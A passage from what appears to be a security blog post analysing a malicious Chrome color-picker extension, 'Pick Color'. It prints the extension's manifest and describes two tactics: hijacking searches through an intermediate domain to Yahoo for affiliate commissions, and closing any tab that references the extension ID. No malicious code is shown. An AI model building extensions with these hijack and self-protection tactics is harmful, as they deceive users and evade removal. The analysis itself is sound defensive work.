https://substackcdn.com/image/fetch/$s_!aCYa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F297a8288-ff25-42d8-bbe0-ab3efdc9f9bc_1000x697.png 848w, https://substackcdn.com/image/fetch/$s_!aCYa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F297a8288-ff25-42d8-bbe0-ab3efdc9f9bc_1000x697.png 1272w, https://substackcdn.com/image/fetch/$s_!aCYa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F297a8288-ff25-42d8-bbe0-ab3efdc9f9bc_1000x697.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!aCYa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F297a8288-ff25-42d8-bbe0-ab3efdc9f9bc_1000x697.png" width="1000" height="697" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/297a8288-ff25-42d8-bbe0-ab3efdc9f9bc_1000x697.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:697,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!aCYa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F297a8288-ff25-42d8-bbe0-ab3efdc9f9bc_1000x697.png 424w, https://substackcdn.com/image/fetch/$s_!aCYa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F297a8288-ff25-42d8-bbe0-ab3efdc9f9bc_1000x697.png 848w, https://substackcdn.com/image/fetch/$s_!aCYa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F297a8288-ff25-42d8-bbe0-ab3efdc9f9bc_1000x697.png 1272w, https://substackcdn.com/image/fetch/$s_!aCYa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F297a8288-ff25-42d8-bbe0-ab3efdc9f9bc_1000x697.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Clicking the download button reveals something like this:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!uvml!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06d252d4-b82c-4028-8388-7da14810686f_1000x272.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!uvml!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06d252d4-b82c-4028-8388-7da14810686f_1000x272.png 424w, https://substackcdn.com/image/fetch/$s_!uvml!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06d252d4-b82c-4028-8388-7da14810686f_1000x272.png 848w, https://substackcdn.com/image/fetch/$s_!uvml!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06d252d4-b82c-4028-8388-7da14810686f_1000x272.png 1272w, https://substackcdn.com/image/fetch/$s_!uvml!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06d252d4-b82c-4028-8388-7da14810686f_1000x272.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!uvml!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06d252d4-b82c-4028-8388-7da14810686f_1000x272.png" width="1000" height="272" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/06d252d4-b82c-4028-8388-7da14810686f_1000x272.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:272,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!uvml!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06d252d4-b82c-4028-8388-7da14810686f_1000x272.png 424w, https://substackcdn.com/image/fetch/$s_!uvml!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06d252d4-b82c-4028-8388-7da14810686f_1000x272.png 848w, https://substackcdn.com/image/fetch/$s_!uvml!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06d252d4-b82c-4028-8388-7da14810686f_1000x272.png 1272w, https://substackcdn.com/image/fetch/$s_!uvml!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06d252d4-b82c-4028-8388-7da14810686f_1000x272.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Let&#8217;s take a closer look at an extension from this campaign that we previously installed called &#8220;Pick Color&#8221;, which has since been removed from the Chrome Web Store.</p><p>Here&#8217;s the <code>manifest.json</code></p><pre><code>{
   &#8220;background&#8221;: {
      &#8220;scripts&#8221;: [ &#8220;lib/color.js&#8221; ]
   },
   &#8220;browser_action&#8221;: {
      &#8220;default_icon&#8221;: {
         &#8220;128&#8221;: &#8220;128.png&#8221;
      },
      &#8220;default_popup&#8221;: &#8220;data/popup/popup.html&#8221;,
      &#8220;default_title&#8221;: &#8220;Color Picker&#8221;
   },
   &#8220;description&#8221;: &#8220;find  the perfect color via an stylish color picker popup &#8220;,
   &#8220;icons&#8221;: {
      &#8220;128&#8221;: &#8220;128.png&#8221;
   },
   &#8220;key&#8221;: &#8220;MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsjXcWVH8U8+6NpH7czI7kN9fiim15NPVz3RlIBTd4MnxecVGCmVhexXMQugIfzC5rTrbprx9TlkWCmmVM14xZNC/csxJCHL5YW9mnAY2zU/jmg3rd4yDH4iDo3zlgv5j1BHblzJ73xU1CjLXFcJj8+1I2Krtf4/PNw2xfZHTECJcfZmKUyPPxqBstCA8pCEk18Ryoaxz2pTGVa3osqCFZE4hhbbLQzD8F9PnhuVdzNHKRrgeHdFF/spYYw/yj4jZ2E9MWXDfvT3imKHgZ5DQiQa1Sf2l7VAdDCHL+uv/xzNRsrNCStv95Pkw7LYeu0gwMnx8UZT8Nw8gsaPBsPr8owIDAQAB&#8221;,
   &#8220;manifest_version&#8221;: 2,
   &#8220;name&#8221;: &#8220;Pick Color&#8221;,
   &#8220;permissions&#8221;: [ &#8220;storage&#8221;, &#8220;tabs&#8221; ],
   &#8220;update_url&#8221;: &#8220;https://clients2.google.com/service/update2/crx&#8221;,
   &#8220;version&#8221;: &#8220;1.1&#8221;
}</code></pre><p>It doesn&#8217;t look too invasive according to the permissions and Chrome&#8217;s modals:</p><pre><code>&#8221;permissions&#8221;: [ &#8220;storage&#8221;, &#8220;tabs&#8221; ],```</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ygPN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908d116b-cb41-4bcd-998a-0ac33929796e_636x310.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ygPN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908d116b-cb41-4bcd-998a-0ac33929796e_636x310.png 424w, https://substackcdn.com/image/fetch/$s_!ygPN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908d116b-cb41-4bcd-998a-0ac33929796e_636x310.png 848w, https://substackcdn.com/image/fetch/$s_!ygPN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908d116b-cb41-4bcd-998a-0ac33929796e_636x310.png 1272w, https://substackcdn.com/image/fetch/$s_!ygPN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908d116b-cb41-4bcd-998a-0ac33929796e_636x310.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ygPN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908d116b-cb41-4bcd-998a-0ac33929796e_636x310.png" width="636" height="310" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/908d116b-cb41-4bcd-998a-0ac33929796e_636x310.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:310,&quot;width&quot;:636,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ygPN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908d116b-cb41-4bcd-998a-0ac33929796e_636x310.png 424w, https://substackcdn.com/image/fetch/$s_!ygPN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908d116b-cb41-4bcd-998a-0ac33929796e_636x310.png 848w, https://substackcdn.com/image/fetch/$s_!ygPN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908d116b-cb41-4bcd-998a-0ac33929796e_636x310.png 1272w, https://substackcdn.com/image/fetch/$s_!ygPN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F908d116b-cb41-4bcd-998a-0ac33929796e_636x310.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4yOG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2b4194-14ad-4438-8229-b1dd070ded8d_888x236.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4yOG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2b4194-14ad-4438-8229-b1dd070ded8d_888x236.png 424w, https://substackcdn.com/image/fetch/$s_!4yOG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2b4194-14ad-4438-8229-b1dd070ded8d_888x236.png 848w, https://substackcdn.com/image/fetch/$s_!4yOG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2b4194-14ad-4438-8229-b1dd070ded8d_888x236.png 1272w, https://substackcdn.com/image/fetch/$s_!4yOG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2b4194-14ad-4438-8229-b1dd070ded8d_888x236.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4yOG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2b4194-14ad-4438-8229-b1dd070ded8d_888x236.png" width="888" height="236" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9e2b4194-14ad-4438-8229-b1dd070ded8d_888x236.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:236,&quot;width&quot;:888,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4yOG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2b4194-14ad-4438-8229-b1dd070ded8d_888x236.png 424w, https://substackcdn.com/image/fetch/$s_!4yOG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2b4194-14ad-4438-8229-b1dd070ded8d_888x236.png 848w, https://substackcdn.com/image/fetch/$s_!4yOG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2b4194-14ad-4438-8229-b1dd070ded8d_888x236.png 1272w, https://substackcdn.com/image/fetch/$s_!4yOG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2b4194-14ad-4438-8229-b1dd070ded8d_888x236.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>The look, feel and functionality is just as seemingly benign:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!eLEU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4547f7c6-27af-44e1-b530-5b32cee94d35_1000x719.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!eLEU!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4547f7c6-27af-44e1-b530-5b32cee94d35_1000x719.png 424w, https://substackcdn.com/image/fetch/$s_!eLEU!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4547f7c6-27af-44e1-b530-5b32cee94d35_1000x719.png 848w, https://substackcdn.com/image/fetch/$s_!eLEU!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4547f7c6-27af-44e1-b530-5b32cee94d35_1000x719.png 1272w, https://substackcdn.com/image/fetch/$s_!eLEU!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4547f7c6-27af-44e1-b530-5b32cee94d35_1000x719.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!eLEU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4547f7c6-27af-44e1-b530-5b32cee94d35_1000x719.png" width="1000" height="719" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4547f7c6-27af-44e1-b530-5b32cee94d35_1000x719.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:719,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!eLEU!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4547f7c6-27af-44e1-b530-5b32cee94d35_1000x719.png 424w, https://substackcdn.com/image/fetch/$s_!eLEU!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4547f7c6-27af-44e1-b530-5b32cee94d35_1000x719.png 848w, https://substackcdn.com/image/fetch/$s_!eLEU!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4547f7c6-27af-44e1-b530-5b32cee94d35_1000x719.png 1272w, https://substackcdn.com/image/fetch/$s_!eLEU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4547f7c6-27af-44e1-b530-5b32cee94d35_1000x719.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>All is well until we do a search, and see that the browser does a wild hop through an intermediate domain before taking us to Yahoo (not our default search engine). The Chrome Extension&#8217;s authors are affiliates of Yahoo and get a commission for every sponsored search click that they source:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!e-k1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50a61892-8b61-4e96-bf23-5b696df68dc5_1628x1386.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!e-k1!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50a61892-8b61-4e96-bf23-5b696df68dc5_1628x1386.gif 424w, https://substackcdn.com/image/fetch/$s_!e-k1!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50a61892-8b61-4e96-bf23-5b696df68dc5_1628x1386.gif 848w, https://substackcdn.com/image/fetch/$s_!e-k1!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50a61892-8b61-4e96-bf23-5b696df68dc5_1628x1386.gif 1272w, https://substackcdn.com/image/fetch/$s_!e-k1!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50a61892-8b61-4e96-bf23-5b696df68dc5_1628x1386.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!e-k1!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50a61892-8b61-4e96-bf23-5b696df68dc5_1628x1386.gif" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/50a61892-8b61-4e96-bf23-5b696df68dc5_1628x1386.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!e-k1!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50a61892-8b61-4e96-bf23-5b696df68dc5_1628x1386.gif 424w, https://substackcdn.com/image/fetch/$s_!e-k1!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50a61892-8b61-4e96-bf23-5b696df68dc5_1628x1386.gif 848w, https://substackcdn.com/image/fetch/$s_!e-k1!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50a61892-8b61-4e96-bf23-5b696df68dc5_1628x1386.gif 1272w, https://substackcdn.com/image/fetch/$s_!e-k1!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50a61892-8b61-4e96-bf23-5b696df68dc5_1628x1386.gif 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>The extension also has an interesting defensive tactic: It will auto-close any tab that references the extension ID in the url:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fqYU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05361b24-7443-4b35-8557-758400b18563_1628x1386.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 